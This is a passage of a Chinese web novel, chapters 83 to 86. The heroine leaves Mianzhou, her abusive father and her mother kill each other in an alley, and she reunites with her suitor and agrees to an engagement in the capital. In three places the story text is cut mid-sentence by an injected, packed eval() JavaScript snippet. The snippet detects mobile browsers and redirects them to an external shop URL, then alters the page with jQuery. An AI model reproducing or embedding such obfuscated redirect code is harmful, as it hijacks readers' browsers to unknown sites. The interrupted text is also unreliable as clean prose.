没想到赵浅聿只道:“按律法办。” 殷祈安傻眼:“按律法办?” “嗯,按律法办。”赵浅聿说完便起身往外走,边走边道,“殷大人是聪明人,该如何判,不是本官说了算。” 他就这么来也匆匆,去也匆匆,却将堂中局势扭转,殷祈安憋了半晌,还是公事公办了。 秦见君松了口气,但看着殷祈安一口气下不去又上不来的模样,她谨慎地在心中盘算要尽快离开绵州。 83.第 83 章 秦见君回到院门口时,秦建业与杨甜就在门口等。 “怎么样了?”秦建业问,他如今拄拐很熟练,甚至能腾出一只手去扶杨甜。 杨甜用仅剩的一只眼看向秦见君。 “押进牢里了。” 秦建业顿了一下才问:“关多久?” “七个月。” 此话一出,三个人的脸色都并未更加轻松,每人的心中都有盘算。 “秦见君。”沈勤忠在不远处喊。 秦建业与杨甜见状,相互搀扶着进了院子,留沈勤忠与秦见君在门口。 沈勤忠轻叹了口气,秦见君的心也凉了半截。 “此事一出,即便还你清白,含萃楼的口碑再也无法回去了,初夏的投票......”沈勤忠的脸上带着可惜。 几个呼吸之间,秦见君已经释怀了,她摇头道:“没事,我打算......离开绵州......” 沈勤忠不傻,他知晓今日殷祈安的所作所为,想来秦见君已经得罪了知州,含萃楼想在绵州更上一层楼是没可能了。 “想好去哪儿了?” “虔渊州。”秦见君道,眼中尽是坚定。 “何时动身?” “尽快吧,怕夜长梦多。”秦见君总觉得殷祈安不像那种会吃哑巴亏的人。 沈勤忠没再多说什么,转身走了。 沈勤忠离开后,暗巷中两个鬼鬼祟祟的影子也离开了。 刘与叶正左拥右抱地喝着酒,精瘦的男人弯着腰站在他面前。 “这就要走了?” “是啊,小人亲耳听到她说要走!” “呵......”刘与叶嗤笑了一声道,“跟我斗......走了也算识时务,免得分不清绵州酒楼是谁的地盘!” 秦见君一回屋子,便去同杨甜与秦建业说收拾行李之事。 “就这么走了?”秦建业有些呆住。 “走吧,我们去虔渊州开含萃楼。”秦见君道。 杨甜有些害怕,颤声问道:“虔渊州在哪儿?” 秦见君这才意识到,“虔渊州”对自己来说是大荆的政治文化中心,而对杨甜与秦建业来说,则是一个“离井沟村很远很远的地方”。 她缓了缓脸色,柔声道:“别怕,我们一起去。” 安抚了娘与弟弟,秦见君又马不停蹄地去了一趟冯莲的住处。 “去虔渊州?” “对,我跟殷祈安结仇,他不会善罢甘休,绵州待不下去了。”秦见君道。 冯莲也意识到局势不对,并未过多犹豫,当机立断道:“我同你一起去。” 秦见君叮嘱她快些收拾行李,接着又去了袁芽与袁分那儿。 袁芽听了这消息,有些怔怔的,她转头将求助的目光投向袁分。 袁分蹙着眉头,并不答话。 秦见君也不催,只道让两人好好考虑,便去了谭连丰住处。 覃涛听了消息,顿时嚎啕大哭起来,嘴里哇哇喊着舍不得,谭连丰捂都捂不住他的嘴。 秦见君正忙着通知大家,那边的殷祈安也未闲着。 他疾步走入大牢,压着嗓子问门口的狱卒:“人在哪儿?” 狱卒见了殷祈安,忙点头哈腰道:“在里头,小的带您进去。” 秦留志缩在牢房角落,衣裳破烂,浑身都是虱子,听到声响也只是转过脸来,身子仍然缩着不敢动。 “秦留志,过来!”狱卒喊道,“再不滚过来就杀头!” 秦留志听了,吓得连滚带爬地到了牢房门边。 殷祈安低头看着秦留志脏兮兮的脸,实在是无法找出与秦见君的相似之处,只好开口问:“你是秦见君的爹?” 秦留志咽了咽口水,不知该不该应。 “知州大人问你话呢!哑巴了?”一旁的狱卒压着嗓子骂道。 秦留志迟滞地点点头。 殷祈安勾起嘴角,声音愉悦道:“本官给你个机会......” 秦留志不可置信地抬头看向殷祈安,一双浑浊的眼中竟然迸发出光来。 殷祈安缓缓蹲下身,想靠近秦留志,却闻到一股难以言喻的臭味,只好退开些道:“我放你走,但你要帮我给秦见君一个教训。” 秦留志忙跪直了身子,不住点头。 这牢里阴冷潮湿、不见天日,吃不上饭、睡不好觉,狱卒心情不好了便来随便提人打骂,他实在受不住了。 “你去把秦见君的屋子烧了。”殷祈安下达命令。 秦留志有些犹豫,声音沙哑道:“万一出了人命......” 殷祈安冷笑了一声道:“这城中布防都是我定的,出不了人命,只是让你去给她个教训,只管去做!” 听着殷祈安的语气似是要发怒,秦留志忙用力点头。 这夜忽然倒春寒,家家户户都关上了门窗。 秦留志被放出来时已是后半夜了,街上空荡寂静,只有他一人的漆黑身影。 秦建业睡前喝了一碗甜水,半夜忍不住起来上厕所,将杨甜吵醒了。 杨甜醒后便一直想着去虔渊州的事。 秦留志此人睚眦必报,她是知晓的,只怕躲去了虔渊州,他也能跟过来,这天下虽大,却也没有躲躲藏藏一辈子的道理...... 越想越心烦,她索性披了衣裳偷偷出了门。 院子里寒风肆虐,冒出嫩芽的树枝随风摇晃,沙沙声响彻静谧的夜。 杨甜在院子里站了会儿,觉得冷,正要回屋子,忽然听到院门处传来响动。 她紧了紧衣裳,踮起脚走到门边,屏住呼吸听着。 秦留志推了推门,感到一股阻力,想来里头拴上了。 他左右看了看,捡了一根树枝,伸入门缝中去够门闩。 杨甜眼睁睁看见一根树枝伸了进来,她不知从哪儿来的勇气,竟伸手拽住树枝。 两人隔着门拉扯,最后秦留志忍不住骂出了声,杨甜心头一跳。 “秦留志?”她小声问。 秦留志听了,顿时火气上涌,但怕惊动了其他人,只能压着怒意道:“臭婆娘!给老子开门!” 杨甜回头看了一眼,屋子里静悄悄的,烛火也全熄了,想来秦建业与秦见君睡得正香。 她抄起院子里坏了柄的锅铲,迅速推开门冲了出去,不管不顾地拖着秦留志往一旁的巷子去。 秦留志饿了许久,体力有些跟不上,不留神竟然被杨甜拖走了。 “你要做什么?”杨甜双手握着铲子举起,防备着秦留志。 秦留志气得眼睛发红,怒骂道:“你还敢跑?留老子一个人!”他说着就要上前打人。 杨甜愣了一瞬,被长久暴力留下的阴影开始发作,她来不及反抗,手中的锅铲紧握着却无法挥舞,被秦留志一拳打倒在地。 “真当老子好糊弄?还敢带儿子跑?去叫那狗东西出来!老子今天要好好教训教训你们!” 秦留志的声音越来越大,杨甜听得胆战心惊,生怕吵醒别人,也怕秦留志真的冲进去揍秦建业。 她想起秦建业的那条断腿,心中奇异地涌上一股怒火,尤其看见秦留志狰狞的嘴脸时,她握着铲子的手越来越紧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090795|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她被这个男人打了几十年,为了给他生个儿子留后,在鬼门关走了一遭才生下秦建业,可他仍不珍惜。 秦见君好不容易逃出来开了含萃楼,却被眼前这个男人毁于一旦,秦建业的腿也断了,他还要阴魂不散地纠缠上来,他要吸干他们的血!啃下他们的肉! 去死吧......他死了就好了...... 杨甜握着铲子,后槽牙咬得紧紧的,鼻孔也不知不觉张大,眼睛瞪得发酸,看着有些中邪。 但秦留志火气上头,并未发现她的异常,还低头四处寻找着趁手的东西,准备好好“教训”一下杨甜。 心中的声音越来越大,杨甜的呼吸也越来越急促,终于在秦留志找到一块尖锐的木板后,她迈出了步子。 生锈的铲子敲在男人的头上,“砰”的一声,秦留志不可置信地抬手摸了摸后脑,疼痛感袭来,他顿时扬起木板砸了过去。 木板打在额头上,杨甜觉得脑袋嗡嗡的,仅剩的一只眼睛也有些模糊起来,但她不能倒下,倒下是会被秦留志打死的...... 她可以死,但要带着秦留志一起! 一瞬间,妇人不知从哪儿来的力气,岔开步子站稳了,挥手向秦留志的脖子扇过去。 铲子生锈却依旧锋利的边缘划破男人的喉咙,他反应极快,举起木板砸下去。 尖锐的木板扎入女人的脖颈,鲜血四溅。 时间似乎停滞了,倒下的瞬间被无限延长。 秦留志震惊地瞪着面前的女人,不敢相信她真的会动手。 杨甜的眼中却十分平静,她感到解脱。 束缚在身上几十年的枷锁,在这一刻断开了,她平静地看着面前同自己一起倒在血泊中的男人——他快死了。 将死之人的脸上带着惊惧,显得人异常脆弱。 杨甜缓缓眨了一下眼——原来他并没有那么可怕,他也怕死......自己这样奋起反抗,也能将他打倒...... 死了也好,自己不必活在他的阴影之下,秦见君与秦建业也可以摆脱他...... 忽然一滴冰凉的雨水砸在脸颊上,杨甜忍不住颤了一下,转动眼珠去看天——下雨了。 雨水起先是一滴两滴地落下,不一会儿便密密麻麻地砸了下来。 雨滴摔碎的声音清脆悦耳,睡梦中的人陷入酣眠。 这夜秦见君睡得有些不安稳,浑浑噩噩地醒不来。 “姐姐!姐姐!” 是秦建业的声音。 秦见君起身揉了揉眼睛,拖着嗓子问:“怎么了?” “娘不见了!”秦建业的手撑在门上,透出一个小小的手印来。 秦见君蹙起眉——该不会是去虔渊州的事吓着娘了吧? 她快速换了衣裳打开门,秦建业已是十分焦急了。 “娘什么时候不见的?”秦见君问。 秦建业拼命摇头:“不知,娘怕我早上不好换衣裳,每日都守在屋子里,今日忽然不见了,我找遍了院子也没找到!” 秦见君眉头蹙得更深,但看秦建业摇摇晃晃有些站不稳的模样,只能先安慰他:“娘又不是贪玩的孩子,应该没什么事,你去屋子里等,我出去找找......” 秦建业觉得心慌得厉害,不肯回屋子,秦见君只好带着他一同出门寻找。 “娘应该是出门了,院子门都没栓......”秦见君道。 秦建业拄着拐跳出门,左顾右盼地找,在路过一旁的巷子时,眼角掠过了什么。 他倒着跳回来,在看清巷子中的情形时,拐杖应声落地。 84.第 84 章 “娘!!!” 秦建业撕心裂肺的吼声吓得秦见君脚下步子都乱了,急忙跑过去,她呆滞地看着地上的两具尸体,感到手脚发凉、发麻...... 杨甜与秦留志是同一天下葬的。 一个运回了井沟村,埋入了秦家祖坟,说是祖坟,不过是有着密集坟包的一小块荒地罢了;另一个则烧了装进骨灰坛中,被秦建业摆在屋子里。 “娘......那边冷吗?”秦建业单腿跪不下去,只能站在骨灰坛前喃喃,面如死灰,毫无生气。 秦见君站在门外,听着秦建业诉说着思念之情,她背靠在门板上缓缓下蹲,直至抱住双膝。 她有些怀疑自己是不是做错了,不该给杨甜希望,让她跑出来,让她有了反抗之心,如此也不至于丢了命...... 袁芽知晓了杨甜的事,自告奋勇揽下做饭的活儿,日日给秦见君与秦建业送饭菜。 这天送完饭菜,从秦见君的院子里出来,她便看见袁分站在门口。 “哥?你怎么来了?今日不是去办事了吗?”袁芽疑惑道。 袁分接过她手中的食盒,说了一个袁芽意想不到的消息。 “职务我辞了,回去收拾行李,我们去虔渊州。” 袁芽瞪大了眼睛,心中有些复杂,结结巴巴道:“我、我是想同姐姐在一处,但、但也不能让你丢了职务......” 袁分摇头道:“如今虔渊州局势繁乱,袁原让我去帮忙。” 袁原? 袁芽眼珠子一转,问道:“袁原哥来了?那裴大人呢?” 袁分知晓她在想什么,如实道:“袁原人在虔渊州,给我来了信,裴大人的下落我并不知晓。” 袁芽听了,塌下膀子叹了口气——姐姐已经消沉好几日了,人都瘦了一圈,自己好说歹说都劝不动她,只能眼睁睁看着,裴大人定是有法子的,可他何时才能来呢? 袁芽边走边想着,忽然耳边传来嚎哭声,她抬头张望了一下,看见街头围着一群人,于是凑上去赶热闹。 人群中间坐着一对衣衫褴褛的夫妻,妇人手中抱着个没了动静的孩子。 袁芽认出来,那孩子是她弟弟。 “我苦命的儿啊......怎么就走了啊!”妇人嚎哭的声音响彻半条街,她看起来憔悴极了,比起冬日里见,似是苍老了几十岁。 她头发乱糟糟的,白发倒比黑发还多,脸上皱纹也更深了,两颊凹陷进入,嘴唇瘪瘪的,上面全是干裂的死皮与血口子。 袁芽隐在人群中静静看着,感到身后的热气,忍不住往后退了一步,半靠在袁分身上。 脏污棉被中的孩子闭着眼,似是睡过去了。 袁芽看见弟弟的脸上干干净净,棉被虽脏,却也比爹娘身上的衣裳加起来还厚。 她从未见过爹娘这样痛苦的模样——若今日死的是自己,他们也会如此痛哭吗? 怎么想的,她便怎么说了。 身后的袁分听了这话,心里一痛,不知该如何回答。 袁芽立刻感受到了哥哥的僵硬,忙笑着转头道:“我知晓的,他们才不会为我哭,但哥哥会哭的对吗......” 她脸上的笑十分勉强,与平日里的开心不同,看着很苦,还有点难看。 袁分蹙起眉头,有些不赞同地看着她。 她垂下眸子,似是妥协般低声道:“知晓了知晓了,我只是随口问问,不会想不开的......” 倒春寒并未持续太久,约莫几日光景,绵州又恢复了初春的温暖。 “含萃楼的牌子怎么拆了?秦小娘呢?” “你还不知道吧?先前来闹事的是秦小娘的爹,前几日她爹娘双双死在了巷子里......” “真的假的?怎么死的?” “听闻是......互相残杀!” “夫妻哪有隔夜的仇?这是怎么回事啊?” “这上哪儿知道去?” “那秦小娘这含萃楼是不开了?” “不开了,前两日遇上冯小娘,说是要走了,离开绵州。” “去哪儿啊?秦小娘走了,我们还上哪儿吃小锅米线去?” “你去街南的武记米线铺子问问吧,先前秦小娘说米线是武小娘做出来的,或许武小娘知晓小锅米线的方子呢?” “唉......我爹还记挂着初夏的酿酒权投票呢,叮嘱我定要投给含萃楼,这下可好,含萃楼不开了......” “冯小娘没说她们要去哪儿吗?” “说了......我记不大清......说是......是......是虔渊州!对!虔渊州!” “那还好,离我们绵州不算远,到时候我去虔渊州进货,去打听打听秦小娘还开店不。” “好啊好啊,可得记得回来告知我们!” 秦见君离开绵州这事虽并未广而告之,却也传出去了。 怕白日里走太招摇,容易被殷祈安盯上,秦见君特地选在天未亮时出发。 此次去虔渊州的人不少,她将秦建业与袁分安排在一辆马车上,自己则与袁芽、冯莲一辆,再加一辆用来装行李的马车,想来路上不会太遭罪。 秦见君将院子门落了锁,钥匙早早便归还了院主,她两手空空地透过门缝看向院子,又偏头去看了看一旁的巷子,默了片刻,不再留恋,上了马车。 马车经过含萃楼时,袁芽叫了停,她扒在车窗上仰头看过去。 含萃楼的招牌已经拆了,听闻沈勤忠打算在这儿开一家米铺,如今店中陈设也被拆得乱七八糟,看不出原本模样了。 “走吧......”袁芽失落地收回脑袋,靠在马车上,声音闷闷的。 “秦小娘!等等!”马车外传来喊声。 秦见君探头望过去,是莺儿。 沈婉来送行,身后还跟着赵浅聿。 秦见君有些惊讶,赵浅聿却只淡淡地笑着。 “你路上要小心,绵州虽离虔渊州不远,却也有要一段路程要走的......”沈婉脸上是掩不住的担心。 “好的,知道了,我们有袁分呢,放心吧。”秦见君打起精神安慰着沈婉。 “我给你的香橼契约是一直有效的。” 秦见君终于露出了这几日来的第一个笑容,她觉得嘴唇有些干,微笑时绷得慌,便不再勉强,又将嘴角落了下来。 沈婉絮絮叨叨又温声说了几句,眼看着要掉下泪,赵浅聿忙上前拦住了她。 “我有几句话要同秦小娘说,你去路旁等等好吗?” 沈婉的目光在二人之间转了两圈,虽然不解,却还是转身退到了路旁。 “赵大人这是恢复自由了?”秦见君问。 赵浅聿点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099654|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,道:“自由了,知州官位被除,可不是彻底自由了吗。” “官职没了?”秦见君蹙眉,难道是为了帮自己,无视禁足令触怒了官家? 赵浅聿看起来并不惋惜,反而有种解脱之感。 “过岭州的下任知州人选不错,我本就无心官场,如今被除了也好。”他端正神色道,“再说了,这也是官家有意放行,若是我爹出事,我这个身无官职之人想来也不会牵扯太深。” 秦见君听了,感到一阵无奈,余光瞥见沈婉,又忍不住问赵浅聿:“那你跟沈小姐......” 赵浅聿挑挑眉,问:“你看出来了?” 秦见君以为他说的是沈婉对他有情之事,于是点点头。 赵浅聿却低头笑了一下,似是有些不好意思,道:“我......我也是年前才明白自己心意的......” 看他羞涩的模样,秦见君觉得自己好像挖到了什么不得了的八卦。 “你为什么......” 赵浅聿轻叹了声道:“年前南下办事,遇上她,便同路走了一段......”他敛着眸子,却掩不住其中柔情,“她聪慧、温柔,与种香橼的百姓谈价也并不耍心思,真诚又善良,我想这世上应该无人能拒绝她......” 秦见君忍不住用余光去瞥沈婉,只见她站在路边,睁大眼好奇地往这边看,脚下却克制地不往前凑,保持着大小姐的礼仪姿态。 于是秦见君也笑了,道:“确实无人能拒绝她。” 赵浅聿似是找到了同好,笑着对上秦见君的视线,不过须臾又蹙起眉,试探道:“那沈小姐如今还喜欢殷祈安吗?” 秦见君:“......”这人怎么一下聪明一下愚笨的? 她的脸皱起来,有些嫌弃道:“殷祈安这人品性不行,有什么好喜欢的。” 赵浅聿听了,顿时上前半步,用克制不住的语气赞同道:“我也如此觉得!” 秦见君决定走前再帮他一把。 “沈小姐眼光也不至于这么差,殷祈安入不了她的眼。” “那她......” 秦见君摇了摇头,不再理会赵浅聿的提问,转而抬手冲沈婉道别,然后转身上了马车。 “走吧,去虔渊州。” 三辆马车趁着天黑往南去,与此同时,两匹骏马也趁着夜色从北边疾驰而来。 “郎君!这会儿天都未亮,我们先去客栈歇脚吧?”裴小之对另一匹马上的裴眠道。 此时裴眠只想尽快看到秦见君,于是拒绝道:“你去休息。” 裴小之看自家郎君一副心急如焚的样子,也不多问,呵马一路进了绵州。 半个月前裴眠将叶水州事务打点好后,便收拾行李踏上回绵州的路。 只不过途遇大雨,山体滑落,两人停下帮着百姓清理了半月的道路,这才继续前行。 期间裴眠收不到秦见君的来信,心中甚是焦虑,于是连院门都未敲,直接翻墙进去了。 屋子里静悄悄的,门被锁上,裴眠便寻到秦见君卧房的窗户,伸手推开,而后翻身进去。 甫一落地他便觉得不对——这屋子里没人! 他阔步上前,床上连被褥都收起来了。 他在卧房中转了一圈,又去了隔壁秦建业的屋子,也是没人。 他站在原地有些懵——人呢? 85.第 85 章 秦见君在马车里晃了一日,觉得头晕目眩,忍不住问袁分,骑马是否会好受点,但袁芽用亲身经历告诉她——不会,腿会磨破,也很痛苦...... 实在晕得不行,想吐得厉害,秦见君喊停,一行人在路边休息。 她靠坐在大树下,头顶是鸟语花香,眼前是一望无际的田野,心中舒畅无比。 “方才那位郎君可真俊俏!” “是啊!从未见过如此俊俏的郎君!” “只可惜他是来寻夫人的......” “唉......这天下的好郎君都有夫人了......” 两位小娘挎着篮子从面前经过,秦见君用手帕遮住口鼻,怕灰尘溅到脸上,直到二人走远,她才放下帕子。 袁芽喝完水,龇牙咧嘴地扶着大腿坐下,问秦见君:“她们说什么呢?” 秦见君心不在焉地摇摇头,说起俊俏郎君,她又想起裴眠了...... 她在信中告知裴眠自己要离开绵州,待到虔渊州落了脚再联系他,应该是没什么问题的。 只是在绵州时并未收到裴眠回信,她心中便有些不安。 不过眼下能做的,只有早早到虔渊州,安顿下来再想法子联系裴眠。 秦见君起身拍了拍衣裳,道:“走吧。” 众人纷纷上马车,秦见君磨蹭到最后一个上马车——她真的有些晕马车,有些不想坐进去...... “秦小娘?秦小娘!” 身后传来熟悉的叫喊声。 秦见君转头望过去——是裴小之! 她忙收回踏上马车的一只脚,转身朝裴小之身后看,裴眠来了! 以为在千里之外的心上人忽然出现在面前,秦见君难以抑制激动心情,朝裴眠跑过去。 裴小之极有眼色地避开了,秦见君顺利黏在了裴眠身上。 马车上的众人纷纷掀开车帘去看,裴小之上了秦建业的马车,独留二人骑马跟在马车后头。 “叶水州的事忙完了?”秦见君被裴眠拢在身前,只好扭着脖子去问他。 裴眠抬手将她的脑袋扶正,低头凑在她耳边答:“入春了,稻苗不会冻死,况且还有连立山盯着。” 秦见君觉得耳根痒痒的,忍不住缩了一下,却又不舍得缩太远,只好顶着痒意继续问:“那你现在要去哪儿?” “官家准许我回虔渊州与父母团聚。” 秦见君觉得不对劲,敏锐道:“团聚?不做官了?” 裴眠摇头,声音更轻了些,将“出海计划”讲给了秦见君听。 他并未有丝毫犹豫,即便是“出海”这样新奇又冒险的想法,也是直言说给她听,他有信心,她能听懂。 秦见君简直想给裴眠鼓掌,出海就是要去探索世界、与其他国家进行文化交流,这样的远见卓识不是人人都有的。 况且哪个国家先有了这意识,便算是占了先机,即便发生什么意外,也能早一步做反应。 但秦见君也知晓,如今科技并不发达,“出海”的危险系数非常高。 “官家说了要让你去吗?”她蹙起眉。 裴眠的呼吸热腾腾的,沿着耳根钻入衣领。 “并未明说,但有此意。” 秦见君不说话了,“出海计划”本就是裴眠提出的,派他去也无可厚非,只是太危险了......她私心是不想裴眠去冒这个险的...... “什么时候去?去多久?”她沉着嗓子问。 “不知何时启程,归期也不定......” 秦见君见到裴眠时的欣喜之情渐渐消散了——怎么刚重逢,就要在头顶悬一把剑呢?能不能让人好好谈个恋爱了? 可无论她多不愿意,也无法违背官家意愿,况且此时还并未有正式旨意出来,她只能掩耳盗铃般先将眼下过好。 绵州至虔渊州不算远,三辆马车走走停停,三日也便到了。 虔渊州地广且人密,袁芽远远地从车窗望过去,街上人头攒动,好不热闹。 “今天是什么日子?”秦见君好奇地问。 裴小之从后头的马车中探出头来,扫了一眼街上,答道:“不是什么日子,虔渊州日日如此!” 袁芽惊奇地望向街上的人群,街上虽不说摩肩接踵,但也算是熙熙攘攘。 这下秦见君也惊讶了,先前想着虔渊州铺子租金贵,怕收支不平衡,如今看来,若是真能将含萃楼再开起来,生意定是不会差的! 一行人进了虔渊州,找了间客栈住下。 裴眠从柜台回来,便看见秦见君在翻行李。 “怎么了?” 秦见君将行李摊在桌上,低头认真翻找,答道:“来虔渊州了,要去拜访一下你爹娘吧?我看看送点什么好......我这儿好像没什么好东西,要不然去街上逛逛?” 裴眠没料到她会想得这么细,于是点点头,带着她出门逛街。 “买什么好呢......”秦见君左看看右看看,觉得什么都不合适,最后还是裴眠定下的礼品。 不过在街上走了一遭,秦见君获得的消息也不少。 虔渊州的主街叫玄支街,一条添河自北而来,在皇城处绕了个弯又往南去。 玄支街上有着华丽欢门的四层高酒楼就有三四家,脚店更是不计其数,街边叫卖的小食种类比绵州多太多了,秦见君应接不暇。 到裴府门前时天已经擦黑,秦见君犹豫了一下,问道:“要不我们明天再来?” 裴眠见她似是有些紧张,笑道:“自我入虔渊州时,就有下人告知爹娘,今日若是不回府,他们也睡不好觉。” “啊......这样......”秦见君深吸了口气,硬着头皮进了裴府。 虔渊州的裴府与绵州的裴府大不相同,光进门的花园就比绵州宽阔。 裴小之不知何时回的裴府,这会儿正迎上来接过礼品,边走还边同秦见君说话。 “这块石板是后来铺上的,是郎君儿时用斧头砸碎的......” “他用斧头砸石板做什么?”秦见君好奇问。 裴眠想使眼色让裴小之闭嘴,谁知他说得正起劲,一个眼神都没分给裴眠。 “那时夫人感了风寒,在屋子里养病,郎君不知从哪儿听来的故事,说是有个叫‘沉香’的人物,劈山救母,又不知信了哪个江湖术士的胡言乱语,说裴府正数第十八块石板下藏着妖孽,郎君便抡了斧头将这石板给劈了!” 秦见君听了忍俊不禁,侧头看了看一脸无奈的裴眠,笑得更欢了,还去问裴小之有无别的故事可听。 裴眠见她笑得开怀,便也没有再阻止裴小之了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111659|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他定定地盯着秦见君的侧脸——听袁分说起秦见君父母双亡之事,他也着实吓了一跳,若是意外去世倒还好,可她的爹娘是互相残杀...... 这几日她脸上的笑少了许多,如今能让她开怀,裴眠便不想计较丢脸不丢脸的事了。 一路到了前厅,桌上已经摆满了菜肴。 方涟看见几人的身影,忙出了前厅拉住秦见君与裴眠的手,上下打量着二人。 “阿君瘦了......”她眼中有些不赞许,但转头看向裴眠,又露出笑容道,“你结实了不少!” 说着,她又捧起秦见君的脸细细端详,关心道:“是不是路上累着了?看着有些憔悴......” 杨甜是不会如此亲近自己的,秦见君感到脸颊上的柔嫩手指正轻轻捏着自己,有些不知所措。 裴小之也知晓秦见君爹娘之事,怕旧事重提惹她伤心,便上前解围:“夫人,这一路上我们都没吃过几次像样的饭菜!我也瘦了的!” 方涟转头看了裴小之一眼,虽然没看出他哪儿瘦了,但也还是安慰了他几句,随后拉着秦见君进了前厅。 桌上摆满了菜肴,秦见君忍不住吞了吞口水——她是真的有点饿了。 “这是从明华楼定的菜,你尝尝合不合口味。”方涟道。 明华楼在虔渊州名气很大,今日秦见君也看见了,很气派的酒楼,往来之人都衣着华贵,想来这一桌饭菜也价格不菲。 席上裴礼卿与方涟问了秦见君是如何开脚店、开酒楼的,也问了食材如何进货等,言语间皆是赞赏与鼓励,秦见君便慢慢放下心来。 酒足饭饱后,几人都未离席,方涟与裴礼卿正在问裴眠叶水州之事。 秦见君在一旁看着,忽然觉得自己在来裴府前,担心的那些“女子不许抛头露面做生意”的问题,实在是蠢到家了。 若是裴礼卿与方涟是抱有这样想法的人,又如何能教出裴眠这样的人呢? “你也下地了?”方脸正饶有兴味地问。 裴眠点头,她立刻将眉毛挑得高高的,打趣道:“你不嫌泥巴脏脚?” 连裴礼卿都露出了惊讶神色。 裴小之在一旁适时插嘴道:“还是怕的,郎君每次从田里上岸,都要立刻洗干净脚,我次次都拎着清水在一旁候着呢,附近的农户还以为郎君是个爱喝水的,都夸他‘牛饮’‘海量’呢......” 方涟与裴礼卿听了,都纷纷笑出声来,厅中一片祥和气氛。 秦见君被这样美好的景象刺痛,条件反射般想退开些,却被方涟一把拉住。 “阿君觉着眠眠是不是有些太爱干净了?” 秦见君慌乱地点点头。 方涟便笑着转头对裴眠道:“看见没?你这性子寻常人怎么受得了啊......”一边说裴眠,她也并未放开秦见君的手。 秦见君默默地合拢手指,从虚握变为紧握,方涟的掌心温暖,将秦见君心口的冷意驱散了。 方涟若有所觉,转身将另一只手也覆了上来,捂着秦见君的手指问:“是不是穿薄了?虽是春日里了,却不能贪凉啊,快些去泡个热水澡......” 秦见君听前半段时还在点头,听到最后一句时惊讶地抬起头望向裴眠:泡什么热水澡?我今晚要住这儿?一个人?还是跟你? 86.第 86 章 秦见君正想着要如何婉拒,方涟便将她拉到一旁说起悄悄话来。 “今日眠眠回虔渊州,在街上那么一走,媒人就收到了消息,白日里府上门槛都要踏破了,都是来送适龄女子画像的......” 她看秦见君的眉头蹙起,心道有戏,接着道:“你同眠眠的事,我们本不想问得太多,也不想催你们定亲......只是不定亲,外头那些媒人便不死心,所以我想请你今夜在府上住着,我给你收拾了一个院子出来,明日消息传出去,那些想托媒人上门的,也能收收心思......” 秦见君听了,陷入沉默。 方涟的心也被提起来了——先前他同裴礼卿说此事时,裴礼卿是反对的,觉着若是秦见君如此做了,便是在外人面前被打上了“裴家人”的印子,不仅未办定亲礼,还将名声搭了进去...... 可方涟是个直性子,两人磨磨蹭蹭“谈恋爱”让她觉得忧心,比起有媒人上门问裴眠,她更怕的是秦见君被抢走。 毕竟她先前一直以为裴眠会孤老一生,没想到居然有小娘能吸引他的注意,这可要紧紧抓牢了,错过怕是再没有了。 “定亲......要准备什么?”秦见君默了半晌,问道。 一句话把在场的三人都问懵了。 还是方涟反应快,答道:“定亲就是带着媒人与定亲礼上门,女方收了礼,再带着亲朋去男方家赴定亲宴,如此便好了,定亲礼都是我们安排,你不必费心。” 听起来与现代的定亲差别不大......秦见君转头看向裴眠:定不定? 裴眠有些怔住,他没想到秦见君会主动提定亲的事,毕竟定亲意味着“绑定亲事”,秦见君从前对成亲是有些抗拒的,他有些摸不清她心中是如何想的。 夜里秦见君住在方涟特意派人收拾出来的院子中,院子里头有几口水缸,里头养着荷花与锦鲤,让她觉得安心。 正要闭眼睡觉,忽然听到门口响动。 “谁?”秦见君起身。 “是我。”裴眠的声音响起。 秦见君开了门,顺手取了火柴,一边燃烛芯一边问:“怎么了?有事?” 裴眠开门见山道:“怎么忽然想定亲了?” 秦见君点好蜡烛直起身子,转头望向裴眠,理所应当道:“定亲方便啊,省得那么多媒人上门骚扰......” 裴眠看着她又圆又大的眸子,有些不信,但也对这理由挑不出错。 秦见君说完便转身走到床边坐下,烛火映不到那么远,她上半身都浸入了暗处。 “你不想跟我定亲?”秦见君反问。 裴眠忙否认:“想定亲的......”只是他觉得眼下不合适,他即将出海,生死未卜...... 秦见君看着他,能隐约猜到他在想什么,但并不解释,而是贴上去抱住他,软声道:“定嘛定嘛......” 裴眠哪里能受得住她这样磨人,很快秦见君留宿的消息便传出去了,接着就是两人要定亲的消息。 从前裴眠在虔渊州也算风云人物,后来生病被贬至绵州,多少人叹惋。 如今病愈回来,聪明人都能想到,背后定是得了官家旨意,看着像是要重新被重用了,于是忙奔走相告,家中有适龄女子的,脑筋也都活泛了起来。不过这些心思才刚冒头,便被裴眠与秦见君定亲之事给压了回去。 袁芽跟着秦见君四处看了一上午铺子,午后才歇下来,坐在路边的面摊吃面。 